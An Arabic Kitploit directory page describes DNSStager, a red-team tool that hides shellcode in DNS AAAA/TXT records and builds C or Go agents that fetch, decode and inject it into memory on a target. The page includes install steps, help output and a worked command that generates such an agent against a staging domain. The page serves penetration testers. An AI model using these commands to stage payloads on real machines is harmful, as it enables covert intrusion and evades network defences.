Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DNSStager — أخفِ حمولتك في DNS | Kitploit
أدوات/GitHubGitHub/mhaskar/dnsstager
توليد الحمولةالاستغلالالقيادة والسيطرةالفريق الأحمرتطوير الحمولاتتحليل DNS
GitHubmhaskar/dnsstager

DNSStager

أخفِ حمولتك في DNS

عرض المستودع
622133منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ما هو DNSStager؟

DNSStager هو مشروع مفتوح المصدر يعتمد على Python يُستخدم لإخفاء ونقل الحمولة (payload) الخاصة بك باستخدام DNS.

يقوم DNSStager بإنشاء خادم DNS ضار يعالج طلبات DNS إلى نطاقك ويعيد حمولتك كاستجابة لطلبات سجلات محددة مثل سجلات AAAA أو TXT بعد تقسيمها إلى أجزاء وتشفير الحمولة باستخدام خوارزميات مختلفة.

يمكن لـ DNSStager إنشاء وكيل مخصص مكتوب بلغة C أو GoLang يقوم بحل سلسلة من النطاقات، واسترجاع الحمولة، وفك تشفيرها، وأخيرًا حقنها في الذاكرة بناءً على أي تقنية تريدها.

يمكنك تعديل كود وكيل DNSStager كما تشاء، وبنائه باستخدام تقنيات التنفيذ المخصصة الخاصة بك.

الهدف الرئيسي من استخدام DNSStager هو مساعدة فرق الاختراق الأحمر/مختبرات الاختراق (red teamers/pentesters) على توصيل حمولاتهم عبر قناة خفية باستخدام DNS.

كيف يعمل؟

بناءً على خيار تحليل DNS الذي تختاره، سيقوم DNSStager بتقسيم حمولتك إلى أجزاء وحفظ كل جزء من الحمولة كاستجابة لنطاق فرعي.

على سبيل المثال، إذا اخترت IPV6 كخيار لاسترجاع الحمولة، فستكون استجابة DNS شيئًا مثل:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

حيث 5648:31d2:6548:8b52:6048:8b52:1848:8b52 هو جزء من حمولتك.

لذا، سيقوم الوكيل بحل بعض النطاقات لاسترجاع الحمولة ثم فك تشفيرها وأخيرًا حقنها في الذاكرة.

حاليًا، يدعم DNSStager سجلين فقط، AAAA و TXT. يمكنك تشفير حمولتك باستخدام XOR لسجل AAAA وافتراضيًا سيتم تشفيرها كـ base64 إذا اخترت سجل TXT.

الميزات الرئيسية لـ DNSStager:

يتمتع DNSStager ببعض الميزات الرئيسية مثل:

  • إخفاء وحل حمولتك في سجلات IPV6.
  • إخفاء وحل حمولتك في سجلات TXT.
  • مشفر XOR لتشفير حمولتك.
  • مشفر Base64 لتشفير حمولتك (فقط لسجلات TXT).
  • وكيل نقي مكتوب بلغة C مع إمكانية تخصيصه.
  • وكيل نقي مكتوب بلغة GoLang مع إمكانية تخصيصه.
  • إمكانية استخدام تأخير (sleep) بين كل طلب DNS.
  • والكثير قادم!

المتطلبات

يمكنك تثبيت متطلبات بايثون الخاصة بـ DNSStager عبر:

pip3 install -r requirements.txt

تحتاج إلى تثبيت إصدار GoLang 1.16.3 وتأكد من تثبيت حزم GoLang التالية:

  • golang.org/x/sys
  • github.com/miekg/dns

أيضًا، تأكد من تثبيت ming-w64 عبر:

apt install mingw-w64

من المفترض أن يقوم السكريبت setup.sh بذلك نيابة عنك، ولكن راجع المتطلبات مرة أخرى قبل استخدامه!

التثبيت

للحصول على أحدث إصدار من DNSStager، تأكد من استنساخه من هذا المستودع باستخدام الأمر التالي:

git clone https://github.com/mhaskar/DNSStager

ثم تحتاج إلى تثبيت المتطلبات باستخدام الأمر التالي:

pip3 install -r requirements.txt

وتأكد أيضًا من تثبيت جميع المتطلبات المذكورة سابقًا.

بعد القيام بكل ذلك، أنت جاهز لتشغيل DNSStager كجذر (root) للحصول على ما يلي:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

الاستخدام

لبدء استخدام DNSStager، تأكد من إعداد إعدادات DNS أولاً، يجب أن تجعل نطاقك يشير إلى مثيل DNSStager كـ NS record من أجل التعامل مع جميع طلبات DNS إلى نطاقك.

يمكنك قراءة هذا المقال الكامل حول كيفية إعداد واستخدام DNSStager.

ويمكنك التحقق من الخيارات باستخدام المفتاح -h كما يلي:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: يمكنك استخدام هذا الخيار لتحديد النطاق الرئيسي الذي ستستخدمه للتعامل مع طلبات DNS.

  • -- prefix: البادئة التي تريد استخدامها لمخطط النطاق الفرعي على سبيل المثال، إذا كان نطاقك الرئيسي هو fakedns.live يمكنك تحديد البادئة كـ "cdn" مثلاً، وبالتالي ستكون النطاقات المولدة نمطًا كما يلي:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

حيث N هو رقم يتم توليده تلقائيًا يمثل عدد أجزاء حمولتك.

  • --payload: الحمولة "الوكيل" الخاصة بـ DNSStager التي تريد توليدها بناءً على التقنية ولغة البرمجة والبنية.

  • --output: مسار الإخراج لحفظ ملف الوكيل القابل للتنفيذ الخاص بـ DNSStager.

  • --shellcode_path: مسار شيلكود الخاص بك بتنسيق raw/bin.

  • --xorkey: مفتاح XOR لتشفير الحمولة به.

  • --sleep: يستخدم للنوم لمدة N ثانية بين كل طلب DNS.

  • --tcp: بدء واستخدام خادم DNS عبر بروتوكول TCP.

حمولات DNSStager

للتحقق من حمولات DNSStager المتاحة، يمكنك استخدام ./dnsstager.py --payloads للحصول على النتائج التالية:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

مثال على استخدام DNSStager مع IPV6

سيقوم هذا المثال بتشغيل DNSStager لحل حمولتك كـ IPV6 باستخدام النطاق test.mydnsserver.live مع البادئة cloud-srv- لتوليد وكيل مترجم x64 C مشفر بمفتاح 0x10:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

وسيكون الإخراج:

Alt text

وللتحقق من أن كل شيء يعمل بشكل جيد، دعنا نرسل استعلام DNS إلى cloud-srv-0.test.mydnsserver.live للحصول على ما يلي:

Alt text

يمكننا أن نرى أننا تلقينا f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b كاستجابة وهي أول 16 بايت من حمولتنا المشفرة.

ثم يمكنك تنفيذ الوكيل /tmp/a2.exe (كما تم تعيينه باستخدام --output في سطر الأوامر) على الجهاز الهدف وسيقوم ذلك بتنزيل جميع الأجزاء المطلوبة وفك تشفيرها وحقنها في الذاكرة نيابة عنك.

الموارد

  • DNSStager v1.0 stable: stealthier code, DLL agent & much more.
  • Unveiling DNSStager: A tool to hide your payload in DNS.

الترخيص

هذا المشروع مرخص بموجب رخصة GPL-3.0 - راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة